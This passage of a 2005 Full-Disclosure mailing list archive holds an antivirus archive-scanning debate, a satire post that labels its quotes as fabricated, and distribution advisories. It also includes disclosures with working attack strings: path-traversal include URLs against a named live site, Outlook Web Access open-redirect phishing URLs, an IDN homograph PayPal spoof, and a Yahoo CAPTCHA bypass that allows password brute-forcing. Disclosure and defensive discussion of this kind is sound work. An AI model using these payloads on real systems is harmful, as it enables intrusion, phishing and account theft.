keep it out, or at least set it aside for more expert inspection. Didn't that make you think I may have had an idea or two about the border/inside distinction? > Add to this the simple fact that it is difficult to manage and account > for client anti-virus software - client machines are to an extent > unmanaged and an 'unknown quantity' ... Actually, that's only true in a badly run outfit, but as that is most outfits, I'll let it pass as a pragmatic reality... > ... whereas servers can be *very* > tightly locked down, assuring a far higher degree of reliability from > server-based virus-scanning tools, firewalling, and intrusion detection > than client machines which are vulnerable to a wide range of attacks and > problems. Server anti-virus software starts to become more and more > attractive at this point.. Even if it ignores known archive formats that it cannot scan inside and simply passes such attachments on? (See above...) <> Yes, yes, we all agree that scanning Email before it gets to the clueless users is a really spiffing idea. That I never said otherwise makes me wonder why you think you are disagreeing with me on this, so I'll just put that down to your mis-reading (or not actually botrhering to read at all??) what I wrote. > I also disagree with you that it's a non sequitur to say that anti-virus > writers would be slow to react to viruses transmitted inside archives > they could not scan; ... That is because you clearly did not actually understand what I wrote. I suggest you go read my message again... > ... all that an antivirus package is - essentially - is > a daemon doing pattern matching on all data coming into and out of > machines; ... At the very most abstract, that is quite true of today's known virus scanners (it ignores all manner of much more complex stuff that happens, but as you cannot understadn what I write, I'll not bother trying to explain further). > ... anti-virus definitions (patterns) are very easy to write and No. Perhaps if you have looked at ClamAV you would think that, but then Clam is not exactly the paragon of good AV practice... > require little work to push to customers of anti-virus writers; archive > scanning, however, is a *functional* difference in the way in which > antivirus software works, which carries numerous implications; updating > an antivirus scanner's scanning engine is quite different to updating > the definitions. I _know_ that, as you would understand had you actually tried to understand my message. HOWEVER, what you have still missed is that it is entirely unnecessary IN A DESKTOP SCANNER to be able to scan inside most archive formats because any code deleivered in archives must be unpacked, AT WHICH POINT THE AV WILL SEE IT, to be able to do anything. (Of course, sub- systems and components that handle certain "archive" formats purely in memory, are the exceptions -- .CHM and .JAR spring to mind as likely examples, and there are probably a few others, but this does not extend to the whole gamut of file archiving/compressing formats). > Add to this the fact that implementing archive support in an antivirus > package isn't as simple as it might seem; although bz2 is released under > a BSD license, gzip isn't - it's GPL, and therefore any antivirus vendor > would have to write their gzip code totally from scratch. There could > certainly be enough of a curfuffle surrounding a virus using one of > these archive formats to cause a delay of a few hours or even days in > releasing updates for antivirus software which addressed the issue - and > as we all know, the major damage in any virus epidemic is done in a very > short space of time. In general, archive and compression handlers are written to slot into the recursive pseudo-filesystem harness of virus detection engines. Getting the algorithm right is seldom the most time consuming or complex piece of doing such an addition... BUT you have still missed the flaming obvious -- a desktop scanner does not have to detect malware inside an archive. As such, the malware is neutered. _IFF_ the user has suitable archive handling utilities to unpack the archive, _then_ the on-access virus scanner will be able to detect the malware file and block further access/warn the user/etc. So, while it will take several days to several weeks (depending on the amount of format reverse engineering that is needed, developer avaialability and amount and quality of QA typically done for such things) for a vendor to add handling of a new archive format once they decide they should add such handling, adding detection of the "normal" binary form of the malware to the desktop scanner can progress unhindered by the fact that some new malware uses an archive format that is not supported by the AV engine. (And, just in case you've forgotten, that is not desirable in gateway scanners, but as most of them simply pass "unhandled" archive formats now, you're not really that much worse off there either) > To be honest, though, that isn't really the point. antivirus vendors > necessarily have to write antivirus definitions reactively - but there's > nothing other than sheer laziness which is preventing them from > *pro*actively incorporating support for these types of archives into > their software. One thing that "prevents" them from adding such support is the scanning overhead in the on demand scanner when the user sets a scan of their whole hard drive going. In general, most vendors seem to prefer to spare your CPU cycles rather than watsing them unpacking all manner of compressed, archived and "compound" file formats that are currently not known to "naturally" carry malware. -- Nick FitzGerald Computer Virus Consulting Ltd. Ph/FAX: +64 3 3267092 From barrie at reboot-robot.net Sun Feb 6 08:42:09 2005 From: barrie at reboot-robot.net (Barrie Dempster) Date: Sun, 06 Feb 2005 08:42:09 +0000 Subject: [Full-Disclosure] Multiple AV Vendors ignoring tar.gz archives In-Reply-To: <4205FC4E.18353.30924D8@localhost> References: <4205FC4E.18353.30924D8@localhost> Message-ID: <1107679329.24788.64.camel@localhost.localdomain> On Sun, 2005-02-06 at 11:15 +1300, Nick FitzGerald wrote: (a very well worded reply) However your reply seemed to focus on the desktop client as if that was my primary focus. I know that results on virustotal use desktop scanners, but I used it to gain an indication of how scanners in general handle the files. The real point is the gateway, which you agree with me on. As I stated. "The point being in order to ensure your email scanning solution is performing adequately check that it does indeed scan archives other than plain zip files." I really should have installed multiple email gateways and tested them, but to be honest it was more work than was worth doing on something that is relatively trivial, but still an issue that may need to be addressed. When it comes to desktop scanners, most of them have a deep scan option, in my opinion the deep scan should indeed scan archives other than the most common otherwise it's redundant code. I personally don't want to trust one part of the scanning engine on the desktop for protection, there are multiple reasons that can fail. Files should be scanned at the gateway, at the workstations and at the file-server. If your network relies on the "on access" scan only, you are risking network integrity on a single point of failure, desktop on access scanner fails and you are infected. The AV companies obviously agree with me that's why they have gateway, on-access and sweep scans. if you check their websites or install instructions they invariably instruct you to schedule a scan AND run the on-access scanner. Also half the products on virustotal do infact have tar.gz capability in their products so I'm not alone in my belief that this should be supported. On-Access isn't a single solution to the problem, although it's a very good _last line of defense_. I do agree with your feature bloat argument, finding the balance between good functionality and bloat to the point of instability is not often easy. However most virus companies agree they should scan files in all formats they've seen viruses in and they do offer deep scanning, the deep scan should err.... scan deep. Thanks for your reply Nick your points are indeed all valid arguments against uncommon archive support in desktop scanners. I still believe however that support for these formats could become necessary and should be in AV products at all checkpoints. I don't believe in belt and braces. Belt, braces and super glue at the bare minimum :-P -- With Regards.. Barrie Dempster (zeedo) - Fortiter et Strenue blog: http://zeedo.blogspot.com site: http://www.bsrf.org.uk [ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050206/a044670b/attachment.bin From guninski at guninski.com Sun Feb 6 10:39:14 2005 From: guninski at guninski.com (Georgi Guninski) Date: Sun, 6 Feb 2005 12:39:14 +0200 Subject: [Full-Disclosure] satire on vendor responses Message-ID: <20050206103914.GB11866@sivokote.iziade.m$> here is some satire how some vendors may respond to reported security problems. completely fictional, any resemblance to real world or real events is just a halucination. 1. http://www.microsoft.com financial empire waiting for the fate of previous empires automated response "thanks for being a free beta tester!" the media is told "bug hunters" are irresponsible cyber terrorists. have enough money and enough brain to shutdown hotmail accounts. later a patch is produced, in some cases introducing more problems. visiting malicous web sites is not real exploit scenario. 2. http://www.openbsd.org Theo Deraddt, author of only one remote hole in 2^32 years. imaginary quotes from fabricated email: --------------------- From: Theo de Raadt it is just a crash. > btw, Ted Unangst seems better than you in PR > bug handling. have you thought about outsourcing the PR bug handling > to him? he is not better at it. he only works in certain areas. but i work all over the place, and can spray an issue out to the revelant people very often. i'm always around... ---------------------- ---------------------- From: Theo de Raadt and I TOLD you to hold off and then you didn't. Look, you release bugs not to help us. You do it for yourself. Don't take me for a fool. --------------------------- // end of fabricated quotes 3. http://www.kernel.org Linus Torvalds, an engineer, some funny quotes on wikiquotes. Linus: "hmmmm, there might be more ones like this. how did you find it?" 4. http://www.mozilla.org Let there be dragons and foxen mozilla: "we give cash for security bugs" -- where do you want bill gates to go today? From kin186 at hackermail.com Sun Feb 6 11:29:52 2005 From: kin186 at hackermail.com (White Self-Existing World-Bridger) Date: Sun, 06 Feb 2005 19:29:52 +0800 Subject: [Full-Disclosure] satire on vendor responses Message-ID: <20050206112952.D394A7A890E@ws4-4.us4.outblaze.com> HP/Compaq "bend over and grab your ankles! we hate security researchers....DMCA...could be fined up to $500,000 and imprisoned for up to five years..." -- kin 186: White Self-Existing World-Bridger ------------------------------------------ I Define in order to Equalize Measuring Opportunity I seal the Store of Death With the Self-Existing tone of Form I am guided by the power of Spirit -- _______________________________________________ Get your free email from http://www.hackermail.com Powered by Outblaze From FistFuXXer at gmx.de Sun Feb 6 15:38:30 2005 From: FistFuXXer at gmx.de (Majest) Date: Sun, 6 Feb 2005 16:38:30 +0100 Subject: [Full-Disclosure] Local *.php file inclusion and full path disclosure in BXCP <= 0.2.9.7 Message-ID: <002101c50c61$ea0eb2c0$c5317dd4@f6c7826624sjyax> Title: Local *.php file inclusion and full path disclosure in BXCP <= 0.2.9.7 Author: [OfB|FistFucker] Contact: http://www.ofb-clan.de/ #ofb-clan at irc.quakenet.org:6667 1. Local *.php file inclusion: --------------------------------- Because of no user input validation in 'index.php' it's possible to include every local *.php file. Let's take a look at the most important part of the source code: ~~ SOURCE CODE ~~~~~~~~~~~~~~~~~~~~~~~~ $show = $_REQUEST['show']; require ("config.php"); if (!file_exists("show/$show.php")) { $notfound = $show; $show = 'error'; } $page = "show/$show.php"; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ END ~~ Yeah, there is no validation of the variable '$show'. So we can easily access every local file ending with '.php', also in restricted directories like htaccess. We can easily jump outside the 'show' directory and include every file ending with '.php'! Example URL: http://www.rz-liga.com/index.php?show=../intern/board/common Don't worry about the response "Hacking attempt". It's just a die() message from 'common.php' of their htaccess protected phpBB. ;-) 2. Full path disclosure: --------------------------- And by including the 'index.php' into itself with the above vulnerability we can cause a full path disclosure. Example URL: http://www.rz-liga.com/index.php?show=../index 3. Let's fix that shit! =) ----------------------------- Just replace in 'index.php': ~~ SOURCE CODE ~~~~~~~~~~~~~~~~~~~~~~~~ $show = $_REQUEST['show']; if(ereg("\.\.", $show)) { $show = ''; } require ("config.php"); if (!file_exists("show/$show.php")) { $notfound = $show; $show = 'error'; } $page = "show/$show.php"; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ END ~~ 4. Greetings: ---------------- Greetings fly out to all members of OfB-Clan that know me. And sorry for the events that occured at and after the 25th December. Please forgive me and please stop seeing me as a criminal kiddie. Better see me as a guardian! =D From james.mailing at gmail.com Sun Feb 6 16:15:59 2005 From: james.mailing at gmail.com (James Eaton-Lee) Date: Sun, 06 Feb 2005 16:15:59 +0000 Subject: [Full-Disclosure] Multiple AV Vendors ignoring tar.gz archives In-Reply-To: <42065914.19012.4738501@localhost> References: <4205FC4E.18353.30924D8@localhost> <42065914.19012.4738501@localhost> Message-ID: <1107706559.9514.20.camel@anubis> On Sun, 2005-02-06 at 17:51 +1300, Nick FitzGerald wrote: > Did you miss the part of my message where I wrote: > > Well, OK -- in a gateway scanner it is likely to be a terrible flaw. > Any vaguely competent gateway scanner should have basic knowledge of > all archive formats and should have an option to quarantine all > messages with archives in the formats it cannot unpack and inspect. > Sadly, most gateway scanners are not designed this way. It is the > job of a gateway scanner to not let anything "dangerous" in and if > you cannot tell what something is, prudence says you keep it out, or > at least set it aside for more expert inspection. > > Didn't that make you think I may have had an idea or two about the > border/inside distinction? Not really - the crux of my argument is that you aren't applying what I believe to be the correct weighting between border and client-based scanning - you initially said in your initial message: "Worse however, is the implication that missing unpacking abilities for some modestly common archive type is a terrible flaw in a scanner." You then add 'Well, OK -- in a gateway scanner it is..' as an afterthought - skipping down to the bottom of your message (and ignoring the two jibes you make at my inability to understand and/or bother to read your message, both of which were misspelt): > BUT you have still missed the flaming obvious -- a desktop scanner does > not have to detect malware inside an archive. As such, the malware is > neutered. Actually, I specifically addressed this - perhaps you're guilty of not reading my message: "Bearing all of these factors in mind, and also factoring the growing reliability of SMEs on third-party and centralised antivirus scanning for their mail (from external service providers via MX routing, and via e-mail servers which aren't exchange which incorporate antivirus scanning simply by calling the antivirus software on the server itself)," For many SMEs, the distinction is irrelevant, as a significant number of e-mail servers do *NOT* incorporate antivirus software designed with gateway scanning in mind - they run desktop scanning tools on e-mail; thus, for many companies, the distinction between 'gateway' and 'desktop' antivirus software is both, since one scanning engine and set of definitions play the same role. To make it painfully obvious: i) obviously, the ability to scan exotic archive types isn't a huge issue in desktop scanners where there is a separate gateway scanner at work. I didn't make myself quite clear enough on this point ii) point i is somewhat irrelevant for a) SMEs who don't employ separate gateway scanners and/or use - essentially - a CLI interface to the scanning engine for both purposes. iii) client machines (in all enterprises) are, *to an extent* an unknown quantity and *should not be replied upon* for virus scanning and intrusion prevention; I don't think you disagreed with me here. You also miss an important point, by assuming that antivirus software is solely in place in order to prevent workstations from being infected - at no point did I even implicitly state that this hole was likely to cause the infection of thousands of hosts on a network. Antivirus technology is something which even non-technical office staff are very much aware of, and they base many aspects of their work on assumptions such as the fact that if an antivirus scanner has not detected 'a virus' in a file they have sent/downloaded/copied, that it is safe - although they may not be at risk from a virus in an archive file that their antivirus software does not detect, other people may. Harking back to SMEs, who seem to be at the focus of most of the points that I've made, it's quite possible that the inability to scan an archive file could be extremely damaging to a business's reputation when forwarded to a partner or customer - since you're obviously sure of your positions on these issues, I shouldn't have to remind you that antivirus software isn't about being theoretically perfect, it's about preventing business loss. Antivirus software is deployed based on many sets of assumptions. Failure to live up to these assumptions is generally what causes the most damage to businesses as protection they thought they had in place fails - this issue is something which falls into this category; antivirus software is, in the majority of SMEs, implemented by staff without extensive experience in antivirus software, and they are highly unlikely to be aware of issues such as this one (especially since in most antivirus software, the option is given to 'scan archive files', not 'scan archive files apart from the ones we don't understand') - not a serious issue, but definitely a significant one, and one which should be fixed upstream by antivirus vendors. regards, - James. From martin.pitt at canonical.com Sun Feb 6 20:19:15 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Sun, 6 Feb 2005 21:19:15 +0100 Subject: [Full-Disclosure] Re: [USN-74-1] Postfix vulnerability In-Reply-To: <20050205220957.227E0BC171@spike.porcupine.org> References: <20050204091325.GB551@box79162.elkhouse.de> <20050205220957.227E0BC171@spike.porcupine.org> Message-ID: <20050206201915.GA31273@box79162.elkhouse.de> Hi! Wietse Venema [2005-02-05 17:09 -0500]: > FYI, > > This is a bug in a third-party IPv6 patch that is not part of Postfix. > > Neither the official Postfix release, nor the work-in-progress > version are not affected by this. I am aware of this, but thanks for the notification. The Ubuntu advisories (and in fact the advisories of all Distributions) mostly talk about packages, which do not exactly correspond to the "official" original releases (which we call"upstream" releases). The Ubuntu package contains the IPv6 patch, and since it is called "postfix", I just name it like this. Sorry for any confusion this might cause. Have a nice day, Martin -- Martin Pitt http://www.piware.de Ubuntu Developer http://www.ubuntulinux.org Debian GNU/Linux Developer http://www.debian.org -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050206/cf605562/attachment.bin From martin.pitt at canonical.com Sun Feb 6 20:20:38 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Sun, 6 Feb 2005 21:20:38 +0100 Subject: [Full-Disclosure] Re: [USN-74-1] Postfix vulnerability In-Reply-To: References: <20050204091325.GB551@box79162.elkhouse.de> <20050205220957.227E0BC171@spike.porcupine.org> Message-ID: <20050206202038.GB31273@box79162.elkhouse.de> Hi! FRLinux [2005-02-06 2:08 +0000]: > On Sat, 5 Feb 2005 17:09:57 -0500 (EST), Wietse Venema > wrote: > > FYI, > > > > This is a bug in a third-party IPv6 patch that is not part of Postfix. > > > > Neither the official Postfix release, nor the work-in-progress > > version are not affected by this. > > Hello, > > Does this affect the Debian version (which is v6 enabled) ? This is already fixed in Sarge/Sid. However, I'm not sure about woody. LaMont, does Woody already include the IPv6 patch? Martin -- Martin Pitt http://www.piware.de Ubuntu Developer http://www.ubuntulinux.org Debian GNU/Linux Developer http://www.debian.org -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050206/44aff4b6/attachment.bin From koon at gentoo.org Sun Feb 6 21:10:39 2005 From: koon at gentoo.org (Thierry Carrez) Date: Sun, 06 Feb 2005 22:10:39 +0100 Subject: [Full-Disclosure] [ GLSA 200502-06 ] LessTif: Multiple vulnerabilities in libXpm Message-ID: <420687CF.7020802@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200502-06 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: LessTif: Multiple vulnerabilities in libXpm Date: February 06, 2005 Bugs: #78483 ID: 200502-06 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Multiple vulnerabilities have been discovered in libXpm, which is included in LessTif, that can potentially lead to remote code execution. Background ========== LessTif is a clone of OSF/Motif, which is a standard user interface toolkit available on Unix and Linux. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 x11-libs/lesstif < 0.94.0 >= 0.94.0 Description =========== Multiple vulnerabilities, including buffer overflows, out of bounds memory access and directory traversals, have been discovered in libXpm, which is shipped as a part of the X Window System. LessTif, an application that includes libXpm, suffers from the same issues. Impact ====== A carefully-crafted XPM file could crash applications making use of the LessTif toolkit, potentially allowing the execution of arbitrary code with the privileges of the user running the application. Workaround ========== There is no known workaround at this time. Resolution ========== All LessTif users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=x11-libs/lesstif-0.94.0" References ========== [ 1 ] CAN-2004-0914 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0914 [ 2 ] LessTif Release Notes http://www.lesstif.org/ReleaseNotes.html Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200502-06.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050206/043e99bb/attachment.bin From se_cur_ity at hotmail.com Mon Feb 7 00:00:10 2005 From: se_cur_ity at hotmail.com (morning_wood) Date: Sun, 6 Feb 2005 16:00:10 -0800 Subject: [Full-Disclosure] Microsoft Outlook Web Access URL Injection Vulnerability Message-ID: ------------------------------------------------------------ - EXPL-A-2005-001 exploitlabs.com Advisory 030 - ------------------------------------------------------------ - Microsoft Outlook Web Access - OVERVIEW ======== A vulnerability in Microsoft Outlook Web Access allows malicious attackers to redirect the login to any URL they wish. This allows the attacker to force the user to the site of the attackers choosing enabling the attacker to use social engenering and phishing style of attacks. AFFECTED PRODUCTS ================= Microsoft Outlook Web Access ( OWA ) Windows 2003 DETAILS ======= By using specialy crafted URL an attacker can cause the user to redirected to an arbitrary URL to the end user. ATTACK PROFILE ============== An attacker could gather known user email address for a company that uses OWA. By appending an obfuscated redirected url with a encoded url such as https://[owa-host]/exchweb/bin/auth/owalogon.asp?url=http://3221234342/ this will take the user to http://example.com when the login box is pressed, and a user is more likely to trust the url. This would be used to send a link to the trusted login. The attacker can then have a page to capture the user / password and redirect back to the original login page or some other form of phishing attack ( or other trusted URL attacks ) SOLUTION ======== Microsoft was contacted on Jan 20, 2005 NO patch has been produced to correct the vulnerability. They have issued the following: on Jan 21, 2005 ( see VENDOR RESPONSE ) This release is dated Jan 25, 2007 PROOF OF CONCEPT ================ 1.https://[owa-host]/exchweb/bin/auth/owalogon.asp?url=http://[otherhost] 2. https://[owa-host]/exchweb/bin/auth/owalogon.asp?url=http://[otherhost/file.exe] click "login" after injection into the form, the source reveals...

note: the [otherhost] may easily be obfuscated so as to not alarm the targeted user(s) such as https://[owa-host]/exchweb/bin/auth/owalogon.asp?url=http://3221234342/ ( http://example.com ) notes: example 1 redirects the user to a url of the attackers choosing. example 2 prompts the user to download an executable or other file. this could be used in conjunction with the aforementioned attack scenario. CREDITS ======= This vulnerability was discovered and researched by Donnie Werner of exploitlabs.com Donnie Werner se_cur_ity at hotmail.com morning_wood at zone-h.org -- Web: http://exploitlabs.com http://zone-h.org VENDOR RESPONSE =============== researcher inital: ------------------ Dear Microsoft, The following discusses a potential security vulnerability affecting one of your products. We are bringing it to your attention in order to assist you in investigating it and determining the appropriate actions, and have provided preliminary information about the potential vulnerability below. Please read our disclosure policy, available at http://www.exploitlabs.com/disclosure-policy.html if you have any questions. Please confirm using the contact information I have provided below that you have received this note. We look forward to working with you, Exploitlabs Research Team Donnie Werner se_cur_ity at hotmail.com vendor response 1 ----------------- Hello Donnie, Thanks very much for contacting us. We have investigated reports of this behavior in the past and plan to fix it in the next major release of Exchange. Please let me know if you have further questions. Thanks, Christopher, CISSP researcher initial 2 -------------------- Christopher, when is the "next major release of Exchange" due? I think it may be in the interest of admins to know this flaw exists, and to possibly alert thier users of potential phishing attacks and to help secure their systems. Exchange 2003 OWA is used extensivly in corporate environments, where this flaw will have the most impact being this is a moderate remote threat, this researcher feels that PUBLIC FULL DISCLOSURE is needed. possibly MS would be willing to issue a statement to the public regarding this issue at this time. regards, Donnie Werner ( no fancy letters ) vendor response 2 ----------------- (none) From fulldisclosure at cubesearch.com Mon Feb 7 01:53:32 2005 From: fulldisclosure at cubesearch.com (fulldisclosure at cubesearch.com) Date: Sun, 6 Feb 2005 17:53:32 -0800 (PST) Subject: [Full-Disclosure] state of homograph attacks Message-ID: The state of homograph attacks I. Background International Domain Name [IDN] support in modern browsers allows attackers to spoof domain name URLs + SSL certs. II. Description In December 2001, a paper was released describing Homograph attacks [1]. This new attack allows an attacker/phisher to spoof the domain/URLs of businesses. At the time this paper was written, no browsers had implemented Unicode/UTF8 domain name resolution. Fast forward to today: Verisign has championed International Domain Names (IDN) [2]. RACES has been replaced with PUNYCODE [3]. Every recent gecko/khtml based browser implements IDN (which is just about every browser [4] except for IE; plug-in are available [5]). III. The details Proof of concept URL: http://www.shmoo.com/idn/ Clicking on any of the two links in the above webpage using anything but IE should result in a spoofed paypal.com webpage. The links are directed at "http://www.pаypal.com/", which the browsers punycode handlers render as www.xn--pypal-4ve.com. This is one example URL - - there are now many ways to display any domain name on a browser, as there are a huge number of codepages/scripts which look very similar to latin charsets. Phishing attacks are the largest growing class of attacks on the internet today. I find it amusing that one of the large early adopters of IDN offer an 'Anti-Phishing Solution' [6]. Finally, as a business trying to protect their identity, IDN makes their life very difficult. It is expected there will be many domain name related conflicts related to IDN. Vulnerable browsers include (but are not limited to): Most mozilla-based browsers (Firefox 1.0, Camino .8.5, Mozilla 1.6, etc) Safari 1.2.5 Opera 7.54 Omniweb 5 Other comment: There are some inconsistencies with how the browsers match the host name with the Common Name (CN) in the SSL cert. Most browsers seem to match the punycode encoded hostname with the CN, yet a few (try to) match the raw UTF8 with the CN. In practice, this makes it impossible to provide 'SSL' services effectively, ignoring the fact that IE doesn't yet support them. IV. Detection There are a few methods to detect that you are under a spoof attack. One easy method is to cut & paste the url you are accessing into notepad or some other tool (under OSX, paste into a terminal window) which will allow you to view what character set/pagecode the string is in. You can also view the details of the SSL cert, to see if it's using a punycode wrapped version of the domain (starting with the string 'xn-'. V. Workaround You can disable IDN support in mozilla products by setting 'network.enableIDN' to false. There is no workaround known for Opera or Safari. VI. Vendor Responses Verisign: No response yet. Apple: No response yet. Opera: They believe they have correctly implemented IDN, and will not be making any changes. Mozilla: Working on finding a good long-term solution; provided clear workaround for disabling IDN. VII. Timeline 2002 - Original paper published on homograph attacks 2002-2005 - Verisign pushes IDN, and browsers start adding support for it Jan 19, 2005 - Vendors notified of vulnerability Feb 6, 2005 - Public disclosure @shmoocon 2005 VIII. Copyright This paper is copyright 2005, Eric Johanson ericj at shmoo.com Assistance provided by: - The Shmoo Group - The Ghetto Hackers Thank you, you know who you are. References: [1] http://www.cs.technion.ac.il/~gabr/papers/homograph.html [2] http://www.verisign.com/products-services/naming-and-directory-services/naming-services/internationalized-domain-names/index.html [3] http://mct.verisign-grs.com/index.shtml [4] http://www.verisign.com/products-services/naming-and-directory-services/naming-services/internationalized-domain-names/page_002201.html#01000002 [5] http://www.idnnow.com/index.jsp [6] http://www.verisign.com/verisign-business-solutions/anti-phishing-solutions/ From thorpflyer at yahoo.com Mon Feb 7 03:49:09 2005 From: thorpflyer at yahoo.com (Simon Roberts) Date: Sun, 6 Feb 2005 19:49:09 -0800 (PST) Subject: [Full-Disclosure] state of homograph attacks In-Reply-To: Message-ID: <20050207034909.70522.qmail@web52706.mail.yahoo.com> FYI, in case anyone hadn't worked it out yet, the provided demo works against Konqueror 3.2.1 on KDE 3.2.1 on Suse Linux too. Pasting the given URL into vi doesn't show the problem, but view page source (which brings up the page in KWrite) and "od -xc" do expose the attack. Cheers, Simon --- fulldisclosure at cubesearch.com wrote: > The state of homograph attacks > > I. Background > > International Domain Name [IDN] support in modern > browsers allows > attackers to spoof domain name URLs + SSL certs. > > II. Description > > In December 2001, a paper was released describing > Homograph attacks [1]. > This new attack allows an attacker/phisher to spoof > the domain/URLs of > businesses. At the time this paper was written, no > browsers had > implemented Unicode/UTF8 domain name resolution. > > Fast forward to today: Verisign has championed > International Domain Names > (IDN) [2]. RACES has been replaced with PUNYCODE > [3]. Every recent > gecko/khtml based browser implements IDN (which is > just about every > browser [4] except for IE; plug-in are available > [5]). > > III. The details > > Proof of concept URL: > > http://www.shmoo.com/idn/ > > Clicking on any of the two links in the above > webpage using anything but > IE should result in a spoofed paypal.com webpage. > > The links are directed at > "http://www.p?ypal.com/", which the > browsers punycode handlers render as > www.xn--pypal-4ve.com. > > This is one example URL - - there are now many ways > to display any domain > name on a browser, as there are a huge number of > codepages/scripts which > look very similar to latin charsets. > > Phishing attacks are the largest growing class of > attacks on the internet > today. I find it amusing that one of the large > early adopters of IDN > offer an 'Anti-Phishing Solution' [6]. > > Finally, as a business trying to protect their > identity, IDN makes their > life very difficult. It is expected there will be > many domain name > related conflicts related to IDN. > > Vulnerable browsers include (but are not limited > to): > > Most mozilla-based browsers (Firefox 1.0, Camino > .8.5, Mozilla 1.6, etc) > Safari 1.2.5 > Opera 7.54 > Omniweb 5 > > Other comment: > > There are some inconsistencies with how the browsers > match the host name > with the Common Name (CN) in the SSL cert. Most > browsers seem to match > the punycode encoded hostname with the CN, yet a few > (try to) match the > raw UTF8 with the CN. In practice, this makes it > impossible to provide > 'SSL' services effectively, ignoring the fact that > IE doesn't yet support > them. > > IV. Detection > > There are a few methods to detect that you are under > a spoof attack. One > easy method is to cut & paste the url you are > accessing into notepad or > some other tool (under OSX, paste into a terminal > window) which will allow > you to view what character set/pagecode the string > is in. You can also > view the details of the SSL cert, to see if it's > using a punycode wrapped > version of the domain (starting with the string > 'xn-'. > > V. Workaround > > You can disable IDN support in mozilla products by > setting > 'network.enableIDN' to false. There is no > workaround known for Opera or > Safari. > > VI. Vendor Responses > > Verisign: No response yet. > Apple: No response yet. > Opera: They believe they have correctly implemented > IDN, and will not be > making any changes. > Mozilla: Working on finding a good long-term > solution; provided clear > workaround for disabling IDN. > > VII. Timeline > > 2002 - Original paper published on homograph attacks > 2002-2005 - Verisign pushes IDN, and browsers start > adding support for it > Jan 19, 2005 - Vendors notified of vulnerability > Feb 6, 2005 - Public disclosure @shmoocon 2005 > > VIII. Copyright > > This paper is copyright 2005, Eric Johanson > ericj at shmoo.com > > Assistance provided by: > - The Shmoo Group > - The Ghetto Hackers > > Thank you, you know who you are. > > References: > > [1] > http://www.cs.technion.ac.il/~gabr/papers/homograph.html > [2] > http://www.verisign.com/products-services/naming-and-directory-services/naming-services/internationalized-domain-names/index.html > > [3] http://mct.verisign-grs.com/index.shtml > [4] > http://www.verisign.com/products-services/naming-and-directory-services/naming-services/internationalized-domain-names/page_002201.html#01000002 > > [5] http://www.idnnow.com/index.jsp > [6] > http://www.verisign.com/verisign-business-solutions/anti-phishing-solutions/ > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: > http://lists.netsys.com/full-disclosure-charter.html > __________________________________ Do you Yahoo!? Yahoo! Mail - 250MB free storage. Do more. Manage less. http://info.mail.yahoo.com/mail_250 From piw at e-liberty.pl Mon Feb 7 09:51:50 2005 From: piw at e-liberty.pl (Piw) Date: Mon, 07 Feb 2005 10:51:50 +0100 Subject: [Full-Disclosure] Re: Cain and Abel In-Reply-To: <20050203193656.36312.qmail@web50410.mail.yahoo.com> References: <20050203193656.36312.qmail@web50410.mail.yahoo.com> Message-ID: <42073A36.2000609@e-liberty.pl> Nick Vasiliev wrote: > I have tried to set up static arp mappings on my system however the > new ones overwrote the old ones. Also I am not sure but does it also > screw with switch's arp tables or just the client ones? Any feedback > would be nice Yes, such attack re-map port<->mac pair in "plain" switches. Static arp entries are _static_ (unchangable) for Linux. For Windows, Windows XP is first MS system that treat static as real static - in previous versions "static" means that is times-out not so often (but could be changed) For other OSes? dunno. Piw From thierry.haven at xmcopartners.com Mon Feb 7 11:18:34 2005 From: thierry.haven at xmcopartners.com (Thierry Haven) Date: Mon, 07 Feb 2005 12:18:34 +0100 Subject: [Full-Disclosure] yahoo mail image verification In-Reply-To: References: Message-ID: <42074E8A.9020801@xmcopartners.com> After testing the French Yahoo portal, it appears that this flaw actually exists. Let's hope they'll fix it soon. However, the impact of a bruteforce attempt is minimal if you have a strong password by default ... I've submitted this bug to Yahoo for review. _______________________________________ Thierry Haven - Xmco Partners Security Consulting / Pentest web : http://www.xmcopartners.com cumhur onat wrote: >Did you realized that the image verification in yahoo mail which >appears after some insuccesfull attempts is not working properly, >becus i can just leave it blank and continue trying, dont tell me that >it wont work if I enter a true passwrd without the verification code . >It works i have tried with 6 accounts and managed to enter the inbox >after about 40 tries. >Sorry for my bad english :( >Hope you understand what I mean... >Cumhur Onat >_______________________________________________ >Full-Disclosure - We believe in it. >Charter: http://lists.netsys.com/full-disclosure-charter.html > > > From 